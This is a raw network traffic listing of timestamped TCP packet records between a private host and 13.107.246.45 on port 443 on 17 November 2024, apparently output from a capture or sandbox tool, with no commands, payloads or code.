Nov 17, 2024 12:35:49.057918072 CET	49986	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:49.057952881 CET	443	49986	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:49.058379889 CET	49986	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:49.058391094 CET	443	49986	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:49.069725990 CET	443	49985	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:49.069858074 CET	443	49985	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:49.072443008 CET	49985	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:49.072484970 CET	49985	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:49.072503090 CET	443	49985	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:49.072516918 CET	49985	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:49.072525978 CET	443	49985	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:49.074695110 CET	49991	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:49.074718952 CET	443	49991	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:49.074780941 CET	49991	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:49.074935913 CET	49991	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:49.074947119 CET	443	49991	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:49.075858116 CET	443	49984	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:49.075890064 CET	443	49984	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:49.075925112 CET	443	49984	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:49.075978994 CET	49984	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:49.076076031 CET	49984	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:49.076105118 CET	443	49984	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:49.076133966 CET	49984	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:49.076148033 CET	443	49984	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:49.078131914 CET	49992	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:49.078151941 CET	443	49992	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:49.078227997 CET	49992	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:49.078315020 CET	49992	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:49.078325987 CET	443	49992	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:49.189590931 CET	443	49986	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:49.190171957 CET	443	49986	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:49.190232038 CET	443	49986	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:49.190282106 CET	49986	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:49.190320969 CET	49986	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:49.224023104 CET	49986	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:49.224046946 CET	443	49986	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:49.224075079 CET	49986	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:49.224081039 CET	443	49986	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:49.235140085 CET	49993	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:49.235181093 CET	443	49993	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:49.235236883 CET	49993	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:49.235433102 CET	49993	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:49.235450029 CET	443	49993	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:49.606206894 CET	443	49988	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:49.606839895 CET	49988	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:49.606867075 CET	443	49988	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:49.607379913 CET	49988	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:49.607386112 CET	443	49988	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:49.736135006 CET	443	49988	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:49.736308098 CET	443	49988	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:49.736466885 CET	49988	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:49.736499071 CET	49988	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:49.736499071 CET	49988	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:49.736514091 CET	443	49988	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:49.736525059 CET	443	49988	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:49.739407063 CET	49997	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:49.739437103 CET	443	49997	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:49.739525080 CET	49997	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:49.739695072 CET	49997	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:49.739710093 CET	443	49997	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:49.803643942 CET	443	49990	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:49.804086924 CET	49990	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:49.804106951 CET	443	49990	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:49.804557085 CET	49990	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:49.804562092 CET	443	49990	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:49.809895992 CET	443	49992	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:49.810137987 CET	49992	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:49.810151100 CET	443	49992	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:49.810477018 CET	49992	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:49.810481071 CET	443	49992	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:49.810831070 CET	443	49991	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:49.811043978 CET	49991	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:49.811074018 CET	443	49991	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:49.811361074 CET	49991	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:49.811366081 CET	443	49991	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:49.934216022 CET	443	49990	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:49.934263945 CET	443	49990	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:49.934314966 CET	443	49990	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:49.934357882 CET	49990	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:49.934396982 CET	49990	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:49.934612989 CET	49990	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:49.934628963 CET	443	49990	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:49.934640884 CET	49990	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:49.934648037 CET	443	49990	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:49.937128067 CET	49998	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:49.937161922 CET	443	49998	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:49.937228918 CET	49998	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:49.937361002 CET	49998	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:49.937374115 CET	443	49998	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:49.938997984 CET	443	49992	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:49.939058065 CET	443	49992	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:49.940444946 CET	49992	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:49.941950083 CET	443	49991	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:49.942032099 CET	443	49991	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:49.942105055 CET	49991	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:49.942358971 CET	49992	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:49.942367077 CET	443	49992	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:49.942377090 CET	49992	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:49.942380905 CET	443	49992	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:49.966346979 CET	49991	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:49.966356993 CET	443	49991	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:49.966375113 CET	49991	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:49.966378927 CET	443	49991	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:49.970573902 CET	49999	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:49.970622063 CET	443	49999	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:49.970696926 CET	49999	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:49.971272945 CET	50000	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:49.971327066 CET	443	50000	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:49.971365929 CET	49999	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:49.971381903 CET	443	49999	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:49.971401930 CET	50000	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:49.971535921 CET	50000	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:49.971550941 CET	443	50000	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:50.196324110 CET	443	49993	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:50.197320938 CET	49993	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:50.197377920 CET	443	49993	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:50.197849989 CET	49993	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:50.197859049 CET	443	49993	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:50.324896097 CET	443	49993	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:50.324930906 CET	443	49993	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:50.324986935 CET	443	49993	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:50.325082064 CET	49993	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:50.325282097 CET	49993	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:50.325282097 CET	49993	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:50.325304031 CET	443	49993	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:50.325315952 CET	443	49993	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:50.328037024 CET	50003	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:50.328066111 CET	443	50003	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:50.328130007 CET	50003	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:50.328279018 CET	50003	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:50.328284025 CET	443	50003	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:50.478225946 CET	443	49997	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:50.478797913 CET	49997	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:50.478817940 CET	443	49997	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:50.479581118 CET	49997	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:50.479584932 CET	443	49997	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:50.606750965 CET	443	49997	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:50.606832027 CET	443	49997	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:50.606900930 CET	49997	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:50.607031107 CET	49997	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:50.607053995 CET	443	49997	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:50.607069016 CET	49997	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:50.607088089 CET	443	49997	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:50.609941959 CET	50005	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:50.609991074 CET	443	50005	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:50.610060930 CET	50005	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:50.610394001 CET	50005	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:50.610419035 CET	443	50005	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:50.668335915 CET	443	49998	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:50.675512075 CET	49998	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:50.675534010 CET	443	49998	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:50.676234007 CET	49998	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:50.676248074 CET	443	49998	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:50.700424910 CET	443	49999	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:50.702446938 CET	443	50000	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:50.716218948 CET	49999	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:50.716238022 CET	443	49999	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:50.716654062 CET	49999	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:50.716660023 CET	443	49999	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:50.717209101 CET	50000	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:50.717232943 CET	443	50000	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:50.717403889 CET	50000	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:50.717410088 CET	443	50000	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:50.802608013 CET	443	49998	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:50.802759886 CET	443	49998	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:50.803987026 CET	49998	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:50.804076910 CET	49998	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:50.804102898 CET	443	49998	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:50.804119110 CET	49998	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:50.804126978 CET	443	49998	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:50.807066917 CET	50012	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:50.807086945 CET	443	50012	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:50.807154894 CET	50012	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:50.807288885 CET	50012	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:50.807301044 CET	443	50012	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:50.841347933 CET	443	49999	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:50.841382980 CET	443	49999	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:50.841413975 CET	443	49999	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:50.841430902 CET	49999	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:50.841463089 CET	49999	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:50.841682911 CET	49999	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:50.841698885 CET	443	49999	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:50.841708899 CET	49999	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:50.841713905 CET	443	49999	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:50.842112064 CET	443	50000	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:50.842252970 CET	443	50000	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:50.842333078 CET	50000	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:50.842459917 CET	50000	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:50.842459917 CET	50000	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:50.842477083 CET	443	50000	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:50.842485905 CET	443	50000	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:50.844866991 CET	50014	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:50.844881058 CET	443	50014	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:50.844944000 CET	50014	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:50.844954014 CET	50015	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:50.845010042 CET	443	50015	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:50.845108032 CET	50015	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:50.845448017 CET	50014	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:50.845465899 CET	443	50014	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:50.845535040 CET	50015	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:50.845551968 CET	443	50015	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:51.076026917 CET	443	50003	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:51.076755047 CET	50003	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:51.076775074 CET	443	50003	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:51.077339888 CET	50003	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:51.077346087 CET	443	50003	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:51.209577084 CET	443	50003	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:51.209610939 CET	443	50003	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:51.209657907 CET	443	50003	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:51.209724903 CET	50003	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:51.209764957 CET	50003	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:51.236135960 CET	50003	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:51.236151934 CET	443	50003	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:51.236161947 CET	50003	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:51.236167908 CET	443	50003	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:51.311815977 CET	50019	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:51.311830044 CET	443	50019	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:51.311894894 CET	50019	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:51.320715904 CET	50019	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:51.320728064 CET	443	50019	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:51.346208096 CET	443	50005	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:51.382074118 CET	50005	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:51.382098913 CET	443	50005	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:51.382523060 CET	50005	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:51.382529020 CET	443	50005	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:51.508852959 CET	443	50005	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:51.508953094 CET	443	50005	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:51.509011030 CET	50005	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:51.509141922 CET	50005	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:51.509157896 CET	443	50005	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:51.509170055 CET	50005	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:51.509175062 CET	443	50005	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:51.511625051 CET	50020	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:51.511672974 CET	443	50020	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:51.511792898 CET	50020	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:51.511935949 CET	50020	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:51.511943102 CET	443	50020	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:51.529659986 CET	443	50012	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:51.530066013 CET	50012	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:51.530085087 CET	443	50012	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:51.530498981 CET	50012	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:51.530505896 CET	443	50012	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:51.578085899 CET	443	50014	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:51.578500032 CET	50014	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:51.578517914 CET	443	50014	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:51.579252958 CET	50014	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:51.579258919 CET	443	50014	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:51.589507103 CET	443	50015	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:51.589939117 CET	50015	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:51.589952946 CET	443	50015	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:51.590334892 CET	50015	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:51.590339899 CET	443	50015	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:51.655879021 CET	443	50012	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:51.655999899 CET	443	50012	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:51.656049967 CET	50012	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:51.656200886 CET	50012	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:51.656224012 CET	443	50012	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:51.656239986 CET	50012	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:51.656246901 CET	443	50012	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:51.659269094 CET	50021	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:51.659305096 CET	443	50021	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:51.659368992 CET	50021	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:51.659482956 CET	50021	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:51.659493923 CET	443	50021	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:51.710490942 CET	443	50014	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:51.710525036 CET	443	50014	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:51.710572958 CET	443	50014	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:51.710572958 CET	50014	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:51.710623026 CET	50014	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:51.721133947 CET	50014	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:51.721148014 CET	443	50014	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:51.721160889 CET	50014	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:51.721165895 CET	443	50014	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:51.721420050 CET	443	50015	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:51.721479893 CET	443	50015	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:51.721522093 CET	50015	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:51.722453117 CET	50015	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:51.722459078 CET	443	50015	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:51.722470045 CET	50015	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:51.722475052 CET	443	50015	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:51.724785089 CET	50023	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:51.724796057 CET	443	50023	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:51.724875927 CET	50023	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:51.725532055 CET	50024	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:51.725543022 CET	50023	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:51.725553036 CET	443	50023	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:51.725585938 CET	443	50024	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:51.725642920 CET	50024	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:51.725723028 CET	50024	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:51.725735903 CET	443	50024	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:52.057881117 CET	443	50019	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:52.062308073 CET	50019	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:52.062340021 CET	443	50019	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:52.062755108 CET	50019	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:52.062772989 CET	443	50019	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:52.188766003 CET	443	50019	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:52.188851118 CET	443	50019	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:52.188936949 CET	50019	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:52.189074039 CET	50019	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:52.189074039 CET	50019	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:52.189084053 CET	443	50019	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:52.189093113 CET	443	50019	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:52.192467928 CET	50026	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:52.192511082 CET	443	50026	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:52.192576885 CET	50026	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:52.193248034 CET	50026	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:52.193264008 CET	443	50026	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:52.258033037 CET	443	50020	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:52.258514881 CET	50020	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:52.258537054 CET	443	50020	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:52.258976936 CET	50020	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:52.258984089 CET	443	50020	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:52.390111923 CET	443	50020	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:52.390186071 CET	443	50020	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:52.390311003 CET	443	50020	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:52.390328884 CET	50020	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:52.390367031 CET	50020	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:52.390451908 CET	50020	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:52.390466928 CET	443	50020	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:52.390477896 CET	50020	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:52.390486002 CET	443	50020	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:52.393733978 CET	50027	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:52.393758059 CET	443	50027	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:52.393821001 CET	50027	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:52.394166946 CET	50027	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:52.394181967 CET	443	50027	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:52.399302006 CET	443	50021	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:52.399650097 CET	50021	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:52.399674892 CET	443	50021	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:52.400125980 CET	50021	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:52.400131941 CET	443	50021	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:52.463524103 CET	443	50024	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:52.463987112 CET	50024	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:52.464040041 CET	443	50024	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:52.464452028 CET	50024	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:52.464459896 CET	443	50024	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:52.477849960 CET	443	50023	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:52.478265047 CET	50023	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:52.478279114 CET	443	50023	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:52.478683949 CET	50023	443	192.168.2.6	13.107.246.45
